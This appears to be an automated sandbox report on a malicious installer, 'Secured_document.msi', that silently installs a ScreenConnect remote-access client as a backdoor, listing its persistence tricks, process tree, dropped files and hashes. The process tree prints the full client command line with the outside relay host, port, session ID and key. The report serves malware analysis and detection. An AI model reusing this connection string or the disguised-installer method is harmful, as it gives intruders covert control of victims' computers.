Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    18/08/2026, 12:29

General

  • Target
    Secured_document.msi
  • Size 9.5MB
  • Sample260818-ppdctatvdx
  • SHA256 3828bb23aa9334de9536a6e5bbd01fb8264d4a48f5c41ba519e1127d632ee8b5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 15 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Secured_document.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3320
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4324
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7350A48B2044BB74E104B57169AA3254 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2148
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4C27.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240667875 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3380
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3056
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3A78C6DADD7F4FE42DE51B38F0E14757
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4376
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding C2C229B2867CC955C7F19797E41E63E4 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:3244
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1644
    • C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=mychap.co.uk&p=8041&s=052b70be-5f0b-4870-9ceb-0cdedc9fdc1b&k=BgIAAACkAABSU0ExAAgAAAEAAQBpwUzQTRgEw23irAS%2foLdbZg1g3mtg8CR4oKafscRoZ29YZPBByQK1je8RJXCwWfSbz6ZaDInUR4wXfRZr5%2bd5KIDJaUdwoYe5rpkD2B5HPXhEOzmLYB9JdKNIsKkALLIOqDiKC8AbUM8nO9f286E536ZtldiaTlo%2bAZ8UtOQloM3OT9W2NNqgfTT%2b%2b7DAbOd%2f8KsNrYHWTmGlNUp7bSlHE0B8kRQns3xa%2fhLEaVWfrAZDBUx6iw%2fRqR071WqTAAxzuXtnLo1bGKDhQ34hIZ69Q3cVwd94YOOQZwwbhHDqicekHTZltZ1jldROJ4CDDnvsXahLvXjaPvCoaP4uGGPS"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3500
      • C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsClient.exe" "RunRole" "9b6e6989-27d1-49e1-bdc7-a4c7f34e49ca" "User"
        2⤵
        • Executes dropped EXE
        PID:468

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58921a.rbs

          • Path C:\Config.Msi\e58921a.rbs
          • Size 214KB
          • SHA256 46f5a8c49ae86fe020a55c3494827363cd54ab1bad93d50220459c153758c7a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\app.config
          • Size 1KB
          • SHA256 dc758aa2159cd63748771ad70690518bd0cb0661d4c28a871ae909260e08e9b9
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b97ae7812ca20674)\system.config
          • Size 934B
          • SHA256 f6417324b212d0f1091d8c596e9fa6ffcddafd3426ca6f3618efac52e4daeb5b
          • MD5 SHA1 SHA512 TLSH

          MSI4C27.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C27.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C27.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C27.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C27.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI4C27.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI93D0.tmp

          • Path C:\Windows\Installer\MSI93D0.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e589219.msi

          • Path C:\Windows\Installer\e589219.msi
          • Size 9.5MB
          • SHA256 3828bb23aa9334de9536a6e5bbd01fb8264d4a48f5c41ba519e1127d632ee8b5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          kuseaocf.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\kuseaocf.newcfg
          • Size 560B
          • SHA256 b88e5a921cb6cbb4c9e6faf82d4eb2b9890ced3c711a149c33a115ae3e7217b9
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\user.config
          • Size 560B
          • SHA256 505520fc861fb408edaca7c1c331b02b9f363bcbf0de1ebcee31d3cf518b963e
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\user.config
          • Size 560B
          • SHA256 6bc681d723044a5e06edb705ae54db6fd1738c375765d145552840ce5f2ed3b6
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\user.config
          • Size 560B
          • SHA256 904b46acfb5a7169bcd580eb218cfccf3989f84a67eb1a62604c1da1ee174c2f
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b97ae7812ca20674)\user.config
          • Size 560B
          • SHA256 9cf32344829e8dc9f16878d7368612be72286c0f5e72c12512f2147b5eae1246
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 a81af9816210862ac4b2d722cef4d8678ff943a87d2b833d04e11db1a79e5993
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {f4c79494-00a3-4c21-93f4-f2478e5679af}_OnDiskSnapshotProp

          • Path \??\Volume{63ef4f52-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{f4c79494-00a3-4c21-93f4-f2478e5679af}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 04692961d6da10dc59cf925016cdbb01b017bae91dbc40a03f9f6d1bb1a7df5e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/468-107-0x000000001B480000-0x000000001B498000-memory.dmp

          memory/468-102-0x000000001B440000-0x000000001B476000-memory.dmp

          memory/468-103-0x000000001B880000-0x000000001B90C000-memory.dmp

          memory/468-104-0x000000001BAC0000-0x000000001BC6C000-memory.dmp

          memory/468-106-0x0000000002A20000-0x0000000002A38000-memory.dmp

          memory/468-108-0x000000001B4A0000-0x000000001B4E1000-memory.dmp

          memory/468-101-0x00000000008F0000-0x0000000000988000-memory.dmp

          memory/468-105-0x000000001CD20000-0x000000001CEA6000-memory.dmp

          memory/3380-31-0x0000000005B50000-0x00000000060F4000-memory.dmp

          memory/3380-18-0x00000000050E0000-0x000000000510E000-memory.dmp

          memory/3380-22-0x0000000005110000-0x000000000511A000-memory.dmp

          memory/3380-26-0x00000000051B0000-0x000000000523C000-memory.dmp

          memory/3380-30-0x00000000053F0000-0x000000000559C000-memory.dmp

          memory/3500-85-0x0000000003E40000-0x0000000003E90000-memory.dmp

          memory/3500-74-0x0000000003AA0000-0x0000000003AB8000-memory.dmp

          memory/3500-94-0x0000000004350000-0x0000000004425000-memory.dmp

          memory/3500-92-0x0000000003ED0000-0x0000000003F11000-memory.dmp

          memory/3500-89-0x0000000003E90000-0x0000000003EC6000-memory.dmp

          memory/3500-90-0x0000000004170000-0x0000000004202000-memory.dmp